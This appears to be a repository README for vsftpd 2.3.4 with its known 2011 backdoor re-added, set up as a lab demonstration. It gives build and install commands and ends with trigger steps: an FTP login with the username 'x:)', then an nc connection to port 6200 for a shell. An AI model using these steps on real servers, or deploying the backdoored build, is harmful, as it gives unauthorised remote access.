/vsftpd-backdoor

This repository is a version of vsftpd-2.3.4 with the backdoor patch included. To be used as an example to demonstrate backdoor entry into another system

Primary LanguageCOtherNOASSERTION

vsftpd-backdoor

This is a backdoored version of vsftpd which has been packaged and configured for the convience of performing an example backdoor into a system. vsftpd is an FTP server which was created by Chris Evans and is available at vsftpd.beasts.org, this repo uses version 2.3.4.

This backdoor which was maliciously added to the archive was introduced into the vsftpd-2.3.4 2011 but has since been removed, thus the reason for this repository.

The source for vsftp was https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz and the diff used in this repo was taken from http://pastebin.com/AetT9sS5.

Changes

  • vsftpd.conf to allow remote user login.
  • Make file to work with patch.
  • Core code, which now includes patch.

Requirements

These installation details are for ubuntu but should be able to be adapted for most distros.

apt-get install build-essential

apt-get install libpam0g-dev

Installation

Create users for use with FTP. May not have to do this if you previously used apt-get for vsftpd.

install -v -d -m 0755 /var/ftp/empty

install -v -d -m 0755 /home/ftp

groupadd -g 47 vsftpd

groupadd -g 45 ftp

useradd -c "vsftpd User" -d /dev/null -g vsftpd -s /bin/false -u 47 vsftpd

useradd -c anonymous_user -d /home/ftp -g ftp -s /bin/false -u 45 ftp

Use make to create the executable.

make

Install vsftpd and its modified configurations.

install -v -m 755 vsftpd /usr/sbin/vsftpd

install -v -m 644 vsftpd.8 /usr/share/man/man8

install -v -m 644 vsftpd.conf.5 /usr/share/man/man5

install -v -m 644 vsftpd.conf /etc

Running the exploit

  1. On one node run vsftpd

  2. On another node connected to the network login to the server by using: ftp <server address>

  3. Once connected use the username 'x:)' with any password.

  4. Once the terminal hangs open another terminal and use nc <server address> 6200 and you're in!